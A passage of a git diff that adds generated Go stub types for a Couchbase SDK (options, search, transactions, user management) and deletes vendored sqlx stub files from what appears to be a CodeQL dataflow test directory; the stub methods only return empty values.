+	Context         context.Context
+	Internal        struct {
+		User string
+	}
+}
+
+type ReplaceAnalyticsLinkOptions struct {
+	Timeout       time.Duration
+	RetryStrategy RetryStrategy
+	ParentSpan    RequestSpan
+	Context       context.Context
+}
+
+type ReplaceOptions struct {
+	Expiry          time.Duration
+	Cas             Cas
+	PersistTo       uint
+	ReplicateTo     uint
+	DurabilityLevel DurabilityLevel
+	Transcoder      Transcoder
+	Timeout         time.Duration
+	RetryStrategy   RetryStrategy
+	ParentSpan      RequestSpan
+	PreserveExpiry  bool
+	Context         context.Context
+	Internal        struct {
+		User string
+	}
+}
+
+type RequestSpan interface {
+	AddEvent(_ string, _ time.Time)
+	Context() RequestSpanContext
+	End()
+	SetAttribute(_ string, _ interface{})
+}
+
+type RequestSpanContext interface{}
+
+type Result struct{}
+
+func (_ *Result) Cas() Cas {
+	return 0
+}
+
+type ResumeEventingFunctionOptions struct {
+	Timeout       time.Duration
+	RetryStrategy RetryStrategy
+	ParentSpan    RequestSpan
+	Context       context.Context
+}
+
+type ResumeIngestSearchIndexOptions struct {
+	Timeout       time.Duration
+	RetryStrategy RetryStrategy
+	ParentSpan    RequestSpan
+	Context       context.Context
+}
+
+type RetryAction interface {
+	Duration() time.Duration
+}
+
+type RetryReason interface {
+	AllowsNonIdempotentRetry() bool
+	AlwaysRetry() bool
+	Description() string
+}
+
+type RetryRequest interface {
+	Idempotent() bool
+	Identifier() string
+	RetryAttempts() uint32
+	RetryReasons() []RetryReason
+}
+
+type RetryStrategy interface {
+	RetryAfter(_ RetryRequest, _ RetryReason) RetryAction
+}
+
+type Role struct {
+	Name       string
+	Bucket     string
+	Scope      string
+	Collection string
+}
+
+type RoleAndDescription struct {
+	Role
+	DisplayName string
+	Description string
+}
+
+type RoleAndOrigins struct {
+	Role
+	Origins []Origin
+}
+
+type ScanOptions struct {
+	Transcoder     Transcoder
+	Timeout        time.Duration
+	ParentSpan     RequestSpan
+	Context        context.Context
+	IDsOnly        bool
+	ConsistentWith *MutationState
+	BatchByteLimit *uint32
+	BatchItemLimit *uint32
+	Concurrency    uint16
+	Internal       struct {
+		User string
+	}
+}
+
+type ScanResult struct{}
+
+func (_ *ScanResult) Close() error {
+	return nil
+}
+
+func (_ *ScanResult) Err() error {
+	return nil
+}
+
+func (_ *ScanResult) Next() *ScanResultItem {
+	return nil
+}
+
+type ScanResultItem struct {
+	Result
+}
+
+func (_ *ScanResultItem) Cas() Cas {
+	return 0
+}
+
+func (_ *ScanResultItem) Content(_ interface{}) error {
+	return nil
+}
+
+func (_ *ScanResultItem) ExpiryTime() time.Time {
+	return time.Time{}
+}
+
+func (_ *ScanResultItem) ID() string {
+	return ""
+}
+
+func (_ *ScanResultItem) IDOnly() bool {
+	return false
+}
+
+type ScanType interface{}
+
+type Scope struct{}
+
+func (_ *Scope) AnalyticsQuery(_ string, _ *AnalyticsOptions) (*AnalyticsResult, error) {
+	return nil, nil
+}
+
+func (_ *Scope) BucketName() string {
+	return ""
+}
+
+func (_ *Scope) Collection(_ string) *Collection {
+	return nil
+}
+
+func (_ *Scope) EventingFunctions() *ScopeEventingFunctionManager {
+	return nil
+}
+
+func (_ *Scope) Name() string {
+	return ""
+}
+
+func (_ *Scope) Query(_ string, _ *QueryOptions) (*QueryResult, error) {
+	return nil, nil
+}
+
+func (_ *Scope) Search(_ string, _ SearchRequest, _ *SearchOptions) (*SearchResult, error) {
+	return nil, nil
+}
+
+func (_ *Scope) SearchIndexes() *ScopeSearchIndexManager {
+	return nil
+}
+
+type ScopeEventingFunctionManager struct{}
+
+func (_ *ScopeEventingFunctionManager) DeployFunction(_ string, _ *DeployEventingFunctionOptions) error {
+	return nil
+}
+
+func (_ *ScopeEventingFunctionManager) DropFunction(_ string, _ *DropEventingFunctionOptions) error {
+	return nil
+}
+
+func (_ *ScopeEventingFunctionManager) FunctionsStatus(_ *EventingFunctionsStatusOptions) (*EventingStatus, error) {
+	return nil, nil
+}
+
+func (_ *ScopeEventingFunctionManager) GetAllFunctions(_ *GetAllEventingFunctionsOptions) ([]EventingFunction, error) {
+	return nil, nil
+}
+
+func (_ *ScopeEventingFunctionManager) GetFunction(_ string, _ *GetEventingFunctionOptions) (*EventingFunction, error) {
+	return nil, nil
+}
+
+func (_ *ScopeEventingFunctionManager) PauseFunction(_ string, _ *PauseEventingFunctionOptions) error {
+	return nil
+}
+
+func (_ *ScopeEventingFunctionManager) ResumeFunction(_ string, _ *ResumeEventingFunctionOptions) error {
+	return nil
+}
+
+func (_ *ScopeEventingFunctionManager) UndeployFunction(_ string, _ *UndeployEventingFunctionOptions) error {
+	return nil
+}
+
+func (_ *ScopeEventingFunctionManager) UpsertFunction(_ EventingFunction, _ *UpsertEventingFunctionOptions) error {
+	return nil
+}
+
+type ScopeSearchIndexManager struct{}
+
+func (_ *ScopeSearchIndexManager) AllowQuerying(_ string, _ *AllowQueryingSearchIndexOptions) error {
+	return nil
+}
+
+func (_ *ScopeSearchIndexManager) AnalyzeDocument(_ string, _ interface{}, _ *AnalyzeDocumentOptions) ([]interface{}, error) {
+	return nil, nil
+}
+
+func (_ *ScopeSearchIndexManager) DisallowQuerying(_ string, _ *DisallowQueryingSearchIndexOptions) error {
+	return nil
+}
+
+func (_ *ScopeSearchIndexManager) DropIndex(_ string, _ *DropSearchIndexOptions) error {
+	return nil
+}
+
+func (_ *ScopeSearchIndexManager) FreezePlan(_ string, _ *FreezePlanSearchIndexOptions) error {
+	return nil
+}
+
+func (_ *ScopeSearchIndexManager) GetAllIndexes(_ *GetAllSearchIndexOptions) ([]SearchIndex, error) {
+	return nil, nil
+}
+
+func (_ *ScopeSearchIndexManager) GetIndex(_ string, _ *GetSearchIndexOptions) (*SearchIndex, error) {
+	return nil, nil
+}
+
+func (_ *ScopeSearchIndexManager) GetIndexedDocumentsCount(_ string, _ *GetIndexedDocumentsCountOptions) (uint64, error) {
+	return 0, nil
+}
+
+func (_ *ScopeSearchIndexManager) PauseIngest(_ string, _ *PauseIngestSearchIndexOptions) error {
+	return nil
+}
+
+func (_ *ScopeSearchIndexManager) ResumeIngest(_ string, _ *ResumeIngestSearchIndexOptions) error {
+	return nil
+}
+
+func (_ *ScopeSearchIndexManager) UnfreezePlan(_ string, _ *UnfreezePlanSearchIndexOptions) error {
+	return nil
+}
+
+func (_ *ScopeSearchIndexManager) UpsertIndex(_ SearchIndex, _ *UpsertSearchIndexOptions) error {
+	return nil
+}
+
+type ScopeSpec struct {
+	Name        string
+	Collections []CollectionSpec
+}
+
+type SearchDateRangeFacetResult struct {
+	Name  string
+	Start string
+	End   string
+	Count int
+}
+
+type SearchFacetResult struct {
+	Name          string
+	Field         string
+	Total         uint64
+	Missing       uint64
+	Other         uint64
+	Terms         []SearchTermFacetResult
+	NumericRanges []SearchNumericRangeFacetResult
+	DateRanges    []SearchDateRangeFacetResult
+}
+
+type SearchHighlightOptions struct {
+	Style  SearchHighlightStyle
+	Fields []string
+}
+
+type SearchHighlightStyle string
+
+type SearchIndex struct {
+	UUID         string
+	Name         string
+	SourceName   string
+	Type         string
+	Params       map[string]interface{}
+	SourceUUID   string
+	SourceParams map[string]interface{}
+	SourceType   string
+	PlanParams   map[string]interface{}
+}
+
+func (_ *SearchIndex) MarshalJSON() ([]byte, error) {
+	return nil, nil
+}
+
+func (_ *SearchIndex) UnmarshalJSON(_ []byte) error {
+	return nil
+}
+
+type SearchIndexManager struct{}
+
+func (_ *SearchIndexManager) AllowQuerying(_ string, _ *AllowQueryingSearchIndexOptions) error {
+	return nil
+}
+
+func (_ *SearchIndexManager) AnalyzeDocument(_ string, _ interface{}, _ *AnalyzeDocumentOptions) ([]interface{}, error) {
+	return nil, nil
+}
+
+func (_ *SearchIndexManager) DisallowQuerying(_ string, _ *AllowQueryingSearchIndexOptions) error {
+	return nil
+}
+
+func (_ *SearchIndexManager) DropIndex(_ string, _ *DropSearchIndexOptions) error {
+	return nil
+}
+
+func (_ *SearchIndexManager) FreezePlan(_ string, _ *AllowQueryingSearchIndexOptions) error {
+	return nil
+}
+
+func (_ *SearchIndexManager) GetAllIndexes(_ *GetAllSearchIndexOptions) ([]SearchIndex, error) {
+	return nil, nil
+}
+
+func (_ *SearchIndexManager) GetIndex(_ string, _ *GetSearchIndexOptions) (*SearchIndex, error) {
+	return nil, nil
+}
+
+func (_ *SearchIndexManager) GetIndexedDocumentsCount(_ string, _ *GetIndexedDocumentsCountOptions) (uint64, error) {
+	return 0, nil
+}
+
+func (_ *SearchIndexManager) PauseIngest(_ string, _ *PauseIngestSearchIndexOptions) error {
+	return nil
+}
+
+func (_ *SearchIndexManager) ResumeIngest(_ string, _ *ResumeIngestSearchIndexOptions) error {
+	return nil
+}
+
+func (_ *SearchIndexManager) UnfreezePlan(_ string, _ *AllowQueryingSearchIndexOptions) error {
+	return nil
+}
+
+func (_ *SearchIndexManager) UpsertIndex(_ SearchIndex, _ *UpsertSearchIndexOptions) error {
+	return nil
+}
+
+type SearchMetaData struct {
+	Metrics SearchMetrics
+	Errors  map[string]string
+}
+
+type SearchMetrics struct {
+	Took                  time.Duration
+	TotalRows             uint64
+	MaxScore              float64
+	TotalPartitionCount   uint64
+	SuccessPartitionCount uint64
+	ErrorPartitionCount   uint64
+}
+
+type SearchNumericRangeFacetResult struct {
+	Name  string
+	Min   float64
+	Max   float64
+	Count int
+}
+
+type SearchOptions struct {
+	ScanConsistency  SearchScanConsistency
+	Limit            uint32
+	Skip             uint32
+	Explain          bool
+	Highlight        *SearchHighlightOptions
+	Fields           []string
+	Sort             []interface{}
+	Facets           map[string]interface{}
+	ConsistentWith   *MutationState
+	Raw              map[string]interface{}
+	Timeout          time.Duration
+	RetryStrategy    RetryStrategy
+	DisableScoring   bool
+	Collections      []string
+	ParentSpan       RequestSpan
+	Context          context.Context
+	IncludeLocations bool
+	Internal         struct {
+		User string
+	}
+}
+
+type SearchRequest struct {
+	SearchQuery  interface{}
+	VectorSearch interface{}
+}
+
+type SearchResult struct{}
+
+func (_ *SearchResult) Close() error {
+	return nil
+}
+
+func (_ *SearchResult) Err() error {
+	return nil
+}
+
+func (_ *SearchResult) Facets() (map[string]SearchFacetResult, error) {
+	return nil, nil
+}
+
+func (_ *SearchResult) MetaData() (*SearchMetaData, error) {
+	return nil, nil
+}
+
+func (_ *SearchResult) Next() bool {
+	return false
+}
+
+func (_ *SearchResult) Raw() *SearchResultRaw {
+	return nil
+}
+
+func (_ *SearchResult) Row() SearchRow {
+	return SearchRow{}
+}
+
+type SearchResultRaw struct{}
+
+func (_ *SearchResultRaw) Close() error {
+	return nil
+}
+
+func (_ *SearchResultRaw) Err() error {
+	return nil
+}
+
+func (_ *SearchResultRaw) MetaData() ([]byte, error) {
+	return nil, nil
+}
+
+func (_ *SearchResultRaw) NextBytes() []byte {
+	return nil
+}
+
+type SearchRow struct {
+	Index       string
+	ID          string
+	Score       float64
+	Explanation interface{}
+	Locations   map[string]map[string][]SearchRowLocation
+	Fragments   map[string][]string
+}
+
+func (_ *SearchRow) Fields(_ interface{}) error {
+	return nil
+}
+
+type SearchRowLocation struct {
+	Position       uint32
+	Start          uint32
+	End            uint32
+	ArrayPositions []uint32
+}
+
+type SearchScanConsistency uint
+
+type SearchTermFacetResult struct {
+	Term  string
+	Count int
+}
+
+type ServiceType int
+
+type SingleQueryTransactionOptions struct {
+	DurabilityLevel DurabilityLevel
+	Internal        struct {
+		Hooks TransactionHooks
+	}
+}
+
+type StorageBackend string
+
+type StoreSemantics uint8
+
+type SubdocDocFlag uint8
+
+type TouchOptions struct {
+	Timeout       time.Duration
+	RetryStrategy RetryStrategy
+	ParentSpan    RequestSpan
+	Context       context.Context
+	Internal      struct {
+		User string
+	}
+}
+
+type TransactionAttemptContext struct{}
+
+func (_ *TransactionAttemptContext) Get(_ *Collection, _ string) (*TransactionGetResult, error) {
+	return nil, nil
+}
+
+func (_ *TransactionAttemptContext) GetReplicaFromPreferredServerGroup(_ *Collection, _ string) (*TransactionGetResult, error) {
+	return nil, nil
+}
+
+func (_ *TransactionAttemptContext) Insert(_ *Collection, _ string, _ interface{}) (*TransactionGetResult, error) {
+	return nil, nil
+}
+
+func (_ *TransactionAttemptContext) Internal() *InternalTransactionAttemptContext {
+	return nil
+}
+
+func (_ *TransactionAttemptContext) Query(_ string, _ *TransactionQueryOptions) (*TransactionQueryResult, error) {
+	return nil, nil
+}
+
+func (_ *TransactionAttemptContext) Remove(_ *TransactionGetResult) error {
+	return nil
+}
+
+func (_ *TransactionAttemptContext) Replace(_ *TransactionGetResult, _ interface{}) (*TransactionGetResult, error) {
+	return nil, nil
+}
+
+type TransactionAttemptState int
+
+type TransactionCleanupAttempt struct {
+	Success           bool
+	IsReqular         bool
+	AttemptID         string
+	AtrID             string
+	AtrCollectionName string
+	AtrScopeName      string
+	AtrBucketName     string
+	Request           *TransactionCleanupRequest
+}
+
+type TransactionCleanupRequest struct {
+	AttemptID         string
+	AtrID             string
+	AtrCollectionName string
+	AtrScopeName      string
+	AtrBucketName     string
+	Inserts           []TransactionDocRecord
+	Replaces          []TransactionDocRecord
+	Removes           []TransactionDocRecord
+	State             TransactionAttemptState
+	ForwardCompat     map[string][]TransactionsForwardCompatibilityEntry
+}
+
+type TransactionDocRecord struct {
+	CollectionName string
+	ScopeName      string
+	BucketName     string
+	ID             string
+}
+
+type TransactionGetResult struct{}
+
+func (_ *TransactionGetResult) Content(_ interface{}) error {
+	return nil
+}
+
+type TransactionHooks interface {
+	AfterATRAborted(_ TransactionAttemptContext) error
+	AfterATRCommit(_ TransactionAttemptContext) error
+	AfterATRComplete(_ TransactionAttemptContext) error
+	AfterATRPending(_ TransactionAttemptContext) error
+	AfterATRRolledBack(_ TransactionAttemptContext) error
+	AfterDocCommitted(_ TransactionAttemptContext, _ string) error
+	AfterDocCommittedBeforeSavingCAS(_ TransactionAttemptContext, _ string) error
+	AfterDocRemovedPostRetry(_ TransactionAttemptContext, _ string) error
+	AfterDocRemovedPreRetry(_ TransactionAttemptContext, _ string) error
+	AfterDocsCommitted(_ TransactionAttemptContext) error
+	AfterDocsRemoved(_ TransactionAttemptContext) error
+	AfterGetComplete(_ TransactionAttemptContext, _ string) error
+	AfterQuery(_ TransactionAttemptContext, _ string) error
+	AfterRemoveStagedInsert(_ TransactionAttemptContext, _ string) error
+	AfterRollbackDeleteInserted(_ TransactionAttemptContext, _ string) error
+	AfterRollbackReplaceOrRemove(_ TransactionAttemptContext, _ string) error
+	AfterStagedInsertComplete(_ TransactionAttemptContext, _ string) error
+	AfterStagedRemoveComplete(_ TransactionAttemptContext, _ string) error
+	AfterStagedReplaceComplete(_ TransactionAttemptContext, _ string) error
+	BeforeATRAborted(_ TransactionAttemptContext) error
+	BeforeATRCommit(_ TransactionAttemptContext) error
+	BeforeATRCommitAmbiguityResolution(_ TransactionAttemptContext) error
+	BeforeATRComplete(_ TransactionAttemptContext) error
+	BeforeATRPending(_ TransactionAttemptContext) error
+	BeforeATRRolledBack(_ TransactionAttemptContext) error
+	BeforeCheckATREntryForBlockingDoc(_ TransactionAttemptContext, _ string) error
+	BeforeDocCommitted(_ TransactionAttemptContext, _ string) error
+	BeforeDocGet(_ TransactionAttemptContext, _ string) error
+	BeforeDocRemoved(_ TransactionAttemptContext, _ string) error
+	BeforeDocRolledBack(_ TransactionAttemptContext, _ string) error
+	BeforeGetDocInExistsDuringStagedInsert(_ TransactionAttemptContext, _ string) error
+	BeforeQuery(_ TransactionAttemptContext, _ string) error
+	BeforeRemoveStagedInsert(_ TransactionAttemptContext, _ string) error
+	BeforeRemovingDocDuringStagedInsert(_ TransactionAttemptContext, _ string) error
+	BeforeRollbackDeleteInserted(_ TransactionAttemptContext, _ string) error
+	BeforeStagedInsert(_ TransactionAttemptContext, _ string) error
+	BeforeStagedRemove(_ TransactionAttemptContext, _ string) error
+	BeforeStagedReplace(_ TransactionAttemptContext, _ string) error
+	HasExpiredClientSideHook(_ TransactionAttemptContext, _ string, _ string) (bool, error)
+	RandomATRIDForVbucket(_ TransactionAttemptContext) (string, error)
+}
+
+type TransactionLogItem struct {
+	Level LogLevel
+}
+
+func (_ TransactionLogItem) String() string {
+	return ""
+}
+
+type TransactionOptions struct {
+	DurabilityLevel    DurabilityLevel
+	Timeout            time.Duration
+	MetadataCollection *Collection
+	Internal           struct {
+		Hooks TransactionHooks
+	}
+}
+
+type TransactionQueryOptions struct {
+	ScanConsistency      QueryScanConsistency
+	Profile              QueryProfileMode
+	ScanCap              uint32
+	PipelineBatch        uint32
+	PipelineCap          uint32
+	ScanWait             time.Duration
+	Readonly             bool
+	ClientContextID      string
+	PositionalParameters []interface{}
+	NamedParameters      map[string]interface{}
+	FlexIndex            bool
+	Raw                  map[string]interface{}
+	Prepared             bool
+	Scope                *Scope
+}
+
+type TransactionQueryResult struct{}
+
+func (_ *TransactionQueryResult) MetaData() (*QueryMetaData, error) {
+	return nil, nil
+}
+
+func (_ *TransactionQueryResult) Next() bool {
+	return false
+}
+
+func (_ *TransactionQueryResult) One(_ interface{}) error {
+	return nil
+}
+
+func (_ *TransactionQueryResult) Row(_ interface{}) error {
+	return nil
+}
+
+type TransactionResult struct {
+	TransactionID     string
+	UnstagingComplete bool
+	Logs              []TransactionLogItem
+}
+
+type Transactions struct{}
+
+func (_ *Transactions) Internal() *TransactionsInternal {
+	return nil
+}
+
+func (_ *Transactions) Run(_ AttemptFunc, _ *TransactionOptions) (*TransactionResult, error) {
+	return nil, nil
+}
+
+type TransactionsForwardCompatibilityEntry struct {
+	ProtocolVersion   string
+	ProtocolExtension string
+	Behaviour         string
+	RetryInterval     int
+}
+
+type TransactionsInternal struct{}
+
+func (_ *TransactionsInternal) CleanupLocations() []interface{} {
+	return nil
+}
+
+func (_ *TransactionsInternal) CleanupQueueLength() int32 {
+	return 0
+}
+
+func (_ *TransactionsInternal) ClientCleanupEnabled() bool {
+	return false
+}
+
+func (_ *TransactionsInternal) ForceCleanupQueue() []TransactionCleanupAttempt {
+	return nil
+}
+
+type Transcoder interface {
+	Decode(_ []byte, _ uint32, _ interface{}) error
+	Encode(_ interface{}) ([]byte, uint32, error)
+}
+
+type UndeployEventingFunctionOptions struct {
+	Timeout       time.Duration
+	RetryStrategy RetryStrategy
+	ParentSpan    RequestSpan
+	Context       context.Context
+}
+
+type UnfreezePlanSearchIndexOptions struct {
+	Timeout       time.Duration
+	RetryStrategy RetryStrategy
+	ParentSpan    RequestSpan
+	Context       context.Context
+}
+
+type UnlockOptions struct {
+	Timeout       time.Duration
+	RetryStrategy RetryStrategy
+	ParentSpan    RequestSpan
+	Context       context.Context
+	Internal      struct {
+		User string
+	}
+}
+
+type UpdateBucketOptions struct {
+	Timeout       time.Duration
+	RetryStrategy RetryStrategy
+	ParentSpan    RequestSpan
+	Context       context.Context
+}
+
+type UpdateCollectionOptions struct {
+	Timeout       time.Duration
+	RetryStrategy RetryStrategy
+	ParentSpan    RequestSpan
+	Context       context.Context
+}
+
+type UpdateCollectionSettings struct {
+	MaxExpiry time.Duration
+	History   *CollectionHistorySettings
+}
+
+type UpsertDesignDocumentOptions struct {
+	Timeout       time.Duration
+	RetryStrategy RetryStrategy
+	ParentSpan    RequestSpan
+	Context       context.Context
+}
+
+type UpsertEventingFunctionOptions struct {
+	Timeout       time.Duration
+	RetryStrategy RetryStrategy
+	ParentSpan    RequestSpan
+	Context       context.Context
+}
+
+type UpsertGroupOptions struct {
+	Timeout       time.Duration
+	RetryStrategy RetryStrategy
+	ParentSpan    RequestSpan
+	Context       context.Context
+}
+
+type UpsertOptions struct {
+	Expiry          time.Duration
+	PersistTo       uint
+	ReplicateTo     uint
+	DurabilityLevel DurabilityLevel
+	Transcoder      Transcoder
+	Timeout         time.Duration
+	RetryStrategy   RetryStrategy
+	ParentSpan      RequestSpan
+	PreserveExpiry  bool
+	Context         context.Context
+	Internal        struct {
+		User string
+	}
+}
+
+type UpsertSearchIndexOptions struct {
+	Timeout       time.Duration
+	RetryStrategy RetryStrategy
+	ParentSpan    RequestSpan
+	Context       context.Context
+}
+
+type UpsertUserOptions struct {
+	Timeout       time.Duration
+	RetryStrategy RetryStrategy
+	DomainName    string
+	ParentSpan    RequestSpan
+	Context       context.Context
+}
+
+type User struct {
+	Username    string
+	DisplayName string
+	Roles       []Role
+	Groups      []string
+	Password    string
+}
+
+type UserAndMetadata struct {
+	User
+	Domain          AuthDomain
+	EffectiveRoles  []RoleAndOrigins
+	ExternalGroups  []string
+	PasswordChanged time.Time
+}
+
+type UserManager struct{}
+
+func (_ *UserManager) ChangePassword(_ string, _ *ChangePasswordOptions) error {
+	return nil
+}
+
+func (_ *UserManager) DropGroup(_ string, _ *DropGroupOptions) error {
+	return nil
+}
+
+func (_ *UserManager) DropUser(_ string, _ *DropUserOptions) error {
+	return nil
+}
+
+func (_ *UserManager) GetAllGroups(_ *GetAllGroupsOptions) ([]Group, error) {
+	return nil, nil
+}
+
+func (_ *UserManager) GetAllUsers(_ *GetAllUsersOptions) ([]UserAndMetadata, error) {
+	return nil, nil
+}
+
+func (_ *UserManager) GetGroup(_ string, _ *GetGroupOptions) (*Group, error) {
+	return nil, nil
+}
+
+func (_ *UserManager) GetRoles(_ *GetRolesOptions) ([]RoleAndDescription, error) {
+	return nil, nil
+}
+
+func (_ *UserManager) GetUser(_ string, _ *GetUserOptions) (*UserAndMetadata, error) {
+	return nil, nil
+}
+
+func (_ *UserManager) UpsertGroup(_ Group, _ *UpsertGroupOptions) error {
+	return nil
+}
+
+func (_ *UserManager) UpsertUser(_ User, _ *UpsertUserOptions) error {
+	return nil
+}
+
+type View struct {
+	Map    string
+	Reduce string
+}
+
+type ViewErrorMode uint
+
+type ViewIndexManager struct{}
+
+func (_ *ViewIndexManager) DropDesignDocument(_ string, _ DesignDocumentNamespace, _ *DropDesignDocumentOptions) error {
+	return nil
+}
+
+func (_ *ViewIndexManager) GetAllDesignDocuments(_ DesignDocumentNamespace, _ *GetAllDesignDocumentsOptions) ([]DesignDocument, error) {
+	return nil, nil
+}
+
+func (_ *ViewIndexManager) GetDesignDocument(_ string, _ DesignDocumentNamespace, _ *GetDesignDocumentOptions) (*DesignDocument, error) {
+	return nil, nil
+}
+
+func (_ *ViewIndexManager) PublishDesignDocument(_ string, _ *PublishDesignDocumentOptions) error {
+	return nil
+}
+
+func (_ *ViewIndexManager) UpsertDesignDocument(_ DesignDocument, _ DesignDocumentNamespace, _ *UpsertDesignDocumentOptions) error {
+	return nil
+}
+
+type ViewMetaData struct {
+	TotalRows uint64
+	Debug     interface{}
+}
+
+type ViewOptions struct {
+	ScanConsistency ViewScanConsistency
+	Skip            uint32
+	Limit           uint32
+	Order           ViewOrdering
+	Reduce          bool
+	Group           bool
+	GroupLevel      uint32
+	Key             interface{}
+	Keys            []interface{}
+	StartKey        interface{}
+	EndKey          interface{}
+	InclusiveEnd    bool
+	StartKeyDocID   string
+	EndKeyDocID     string
+	OnError         ViewErrorMode
+	Debug           bool
+	ParentSpan      RequestSpan
+	Raw             map[string]string
+	Namespace       DesignDocumentNamespace
+	Timeout         time.Duration
+	RetryStrategy   RetryStrategy
+	Context         context.Context
+	Internal        struct {
+		User string
+	}
+}
+
+type ViewOrdering uint
+
+type ViewResult struct{}
+
+func (_ *ViewResult) Close() error {
+	return nil
+}
+
+func (_ *ViewResult) Err() error {
+	return nil
+}
+
+func (_ *ViewResult) MetaData() (*ViewMetaData, error) {
+	return nil, nil
+}
+
+func (_ *ViewResult) Next() bool {
+	return false
+}
+
+func (_ *ViewResult) Raw() *ViewResultRaw {
+	return nil
+}
+
+func (_ *ViewResult) Row() ViewRow {
+	return ViewRow{}
+}
+
+type ViewResultRaw struct{}
+
+func (_ *ViewResultRaw) Close() error {
+	return nil
+}
+
+func (_ *ViewResultRaw) Err() error {
+	return nil
+}
+
+func (_ *ViewResultRaw) MetaData() ([]byte, error) {
+	return nil, nil
+}
+
+func (_ *ViewResultRaw) NextBytes() []byte {
+	return nil
+}
+
+type ViewRow struct {
+	ID string
+}
+
+func (_ *ViewRow) Key(_ interface{}) error {
+	return nil
+}
+
+func (_ *ViewRow) Value(_ interface{}) error {
+	return nil
+}
+
+type ViewScanConsistency uint
+
+type WaitUntilReadyOptions struct {
+	DesiredState  ClusterState
+	ServiceTypes  []ServiceType
+	Context       context.Context
+	RetryStrategy RetryStrategy
+}
+
+type WatchQueryIndexOptions struct {
+	WatchPrimary   bool
+	RetryStrategy  RetryStrategy
+	ParentSpan     RequestSpan
+	ScopeName      string
+	CollectionName string
+	Context        context.Context
+}
diff --git a/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/vendor/github.com/jmoiron/sqlx/conn.go b/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/vendor/github.com/jmoiron/sqlx/conn.go
deleted file mode 100644
index 28a0f913062f..000000000000
--- a/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/vendor/github.com/jmoiron/sqlx/conn.go
+++ /dev/null
@@ -1,26 +0,0 @@
-package sqlx
-
-import (
-	"context"
-	"database/sql"
-)
-
-type Conn struct {
-	*sql.Conn
-}
-
-func (c *Conn) GetContext(ctx context.Context, dest interface{}, query string, args ...interface{}) error {
-	return nil
-}
-
-func (c *Conn) SelectContext(ctx context.Context, dest interface{}, query string, args ...interface{}) error {
-	return nil
-}
-
-func (c *Conn) QueryRowxContext(ctx context.Context, query string, args ...interface{}) *Row {
-	return nil
-}
-
-func (c *Conn) QueryxContext(ctx context.Context, query string, args ...interface{}) (*Rows, error) {
-	return nil, nil
-}
diff --git a/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/vendor/github.com/jmoiron/sqlx/db.go b/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/vendor/github.com/jmoiron/sqlx/db.go
deleted file mode 100644
index 4d50616a732f..000000000000
--- a/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/vendor/github.com/jmoiron/sqlx/db.go
+++ /dev/null
@@ -1,52 +0,0 @@
-package sqlx
-
-import (
-	"context"
-	"database/sql"
-)
-
-type DB struct {
-	*sql.DB
-
-	// Mapper *reflectx.Mapper
-}
-
-func (db *DB) Get(dest interface{}, query string, args ...interface{}) error {
-	return nil
-}
-
-func (db *DB) GetContext(ctx context.Context, dest interface{}, query string, args ...interface{}) error {
-	return nil
-}
-
-func (db *DB) QueryRowx(query string, args ...interface{}) *Row {
-	return nil
-}
-
-func (db *DB) QueryRowxContext(ctx context.Context, query string, args ...interface{}) *Row {
-	return nil
-}
-
-func (db *DB) Queryx(query string, args ...interface{}) (*Rows, error) {
-	return nil, nil
-}
-
-func (db *DB) QueryxContext(ctx context.Context, query string, args ...interface{}) (*Rows, error) {
-	return nil, nil
-}
-
-func (db *DB) Select(dest interface{}, query string, args ...interface{}) error {
-	return nil
-}
-
-func (db *DB) SelectContext(ctx context.Context, dest interface{}, query string, args ...interface{}) error {
-	return nil
-}
-
-func (db *DB) NamedQuery(query string, arg interface{}) (*Rows, error) {
-	return nil, nil
-}
-
-func (db *DB) NamedQueryContext(ctx context.Context, query string, arg interface{}) (*Rows, error) {
-	return nil, nil
-}
diff --git a/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/vendor/github.com/jmoiron/sqlx/namedstmt.go b/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/vendor/github.com/jmoiron/sqlx/namedstmt.go
deleted file mode 100644
index 59b647ff48e6..000000000000
--- a/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/vendor/github.com/jmoiron/sqlx/namedstmt.go
+++ /dev/null
@@ -1,60 +0,0 @@
-package sqlx
-
-import (
-	"context"
-	"database/sql"
-)
-
-type NamedStmt struct {
-	Params      []string
-	QueryString string
-	Stmt        *sql.Stmt
-}
-
-func (s *NamedStmt) Get(dest interface{}, args ...interface{}) error {
-	return nil
-}
-
-func (s *NamedStmt) GetContext(ctx context.Context, dest interface{}, args ...interface{}) error {
-	return nil
-}
-
-func (s *NamedStmt) QueryRow(args ...interface{}) *Row {
-	return nil
-}
-
-func (s *NamedStmt) QueryRowContext(ctx context.Context, args ...interface{}) *Row {
-	return nil
-}
-
-func (s *NamedStmt) Query(args ...interface{}) (*Rows, error) {
-	return nil, nil
-}
-
-func (s *NamedStmt) QueryContext(ctx context.Context, args ...interface{}) (*Rows, error) {
-	return nil, nil
-}
-
-func (s *NamedStmt) QueryRowx(args ...interface{}) *Row {
-	return nil
-}
-
-func (s *NamedStmt) QueryRowxContext(ctx context.Context, args ...interface{}) *Row {
-	return nil
-}
-
-func (s *NamedStmt) Queryx(args ...interface{}) (*Rows, error) {
-	return nil, nil
-}
-
-func (s *NamedStmt) QueryxContext(ctx context.Context, args ...interface{}) (*Rows, error) {
-	return nil, nil
-}
-
-func (s *NamedStmt) Select(dest interface{}, args ...interface{}) error {
-	return nil
-}
-
-func (s *NamedStmt) SelectContext(ctx context.Context, dest interface{}, args ...interface{}) error {
-	return nil
-}
diff --git a/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/vendor/github.com/jmoiron/sqlx/row.go b/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/vendor/github.com/jmoiron/sqlx/row.go
deleted file mode 100644
index fb427e8f6579..000000000000
--- a/go/ql/test/library-tests/semmle/go/dataflow/flowsources/local/database/vendor/github.com/jmoiron/sqlx/row.go
+++ /dev/null
@@ -1,21 +0,0 @@
-package sqlx
-
-type Row struct {
-	// Mapper *reflectx.Mapper
-}
-
-func (r *Row) MapScan(dest map[string]interface{}) error {
-	return nil
-}
-
-func (r *Row) StructScan(dest interface{}) error {
-	return nil
-}
-
-func (r *Row) SliceScan(dest []interface{}) error {
-	return nil
-}
-
-func (r *Row) Scan(dest ...interface{}) error {
-	return nil
-}
